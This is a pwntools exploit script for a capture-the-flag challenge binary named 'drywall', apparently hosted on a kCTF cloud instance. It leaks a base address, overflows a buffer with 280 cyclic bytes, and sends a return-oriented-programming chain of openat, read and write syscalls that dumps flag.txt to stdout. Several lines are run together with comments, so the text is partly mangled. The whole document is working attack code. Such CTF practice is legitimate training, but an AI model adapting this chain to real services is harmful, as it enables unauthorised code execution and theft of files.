from pwn import*context.update(arch='amd64',os='linux')#b *(main+378)#io = gdb.debug('./drywall', '''#b *(main+471)#c# ''')#io = process('./drywall')
io =remote('drywall.kctf-453514-codelab.kctf.cloud',1337)io.send(b'.//./././././././././flag.txt')io.readline()io.readline()io.readline()
base =int(io.readline(),16)-419print('base: ',hex(base))
pop_rdi = base+0x3db
pop_rax = base+0x19b
pop_rdx = base+0x199
pop_rsi_pop_r15 = base+0x3d9
syscall = base+413
flag = base+0x3050
p =b''# openat(AT_FDCWD, "flag.txt", O_RDONLY)
p +=p64(pop_rdi)
p +=p64(0xffffff9c)# AT_FDCWD (-100)
p +=p64(pop_rsi_pop_r15)
p +=p64(flag)# Pointer to "flag.txt"
p +=p64(0xdeadbeef)# R15 garbage
p +=p64(pop_rdx)
p +=p64(0)# O_RDONLY
p +=p64(pop_rax)
p +=p64(257)# openat syscall number
p +=p64(syscall)# read(fd, flag, 100)
p +=p64(pop_rax)
p +=p64(0)# read syscall
p +=p64(pop_rdi)
p +=p64(3)# Assume fd=3 (first opened file)
p +=p64(pop_rsi_pop_r15)
p +=p64(flag)# Read into same buffer
p +=p64(0xdeadbeef)# R15 garbage
p +=p64(pop_rdx)
p +=p64(100)# Read 100 bytes
p +=p64(syscall)# write(fd=1, flag, bytes_read)
p +=p64(pop_rax)
p +=p64(1)# write syscall
p +=p64(pop_rdi)
p +=p64(1)# stdout
p +=p64(pop_rsi_pop_r15)
p +=p64(flag)
p +=p64(0xdeadbeef)
p +=p64(pop_rdx)
p +=p64(100)
p +=p64(syscall)io.sendline(cyclic(280)+p)io.interactive()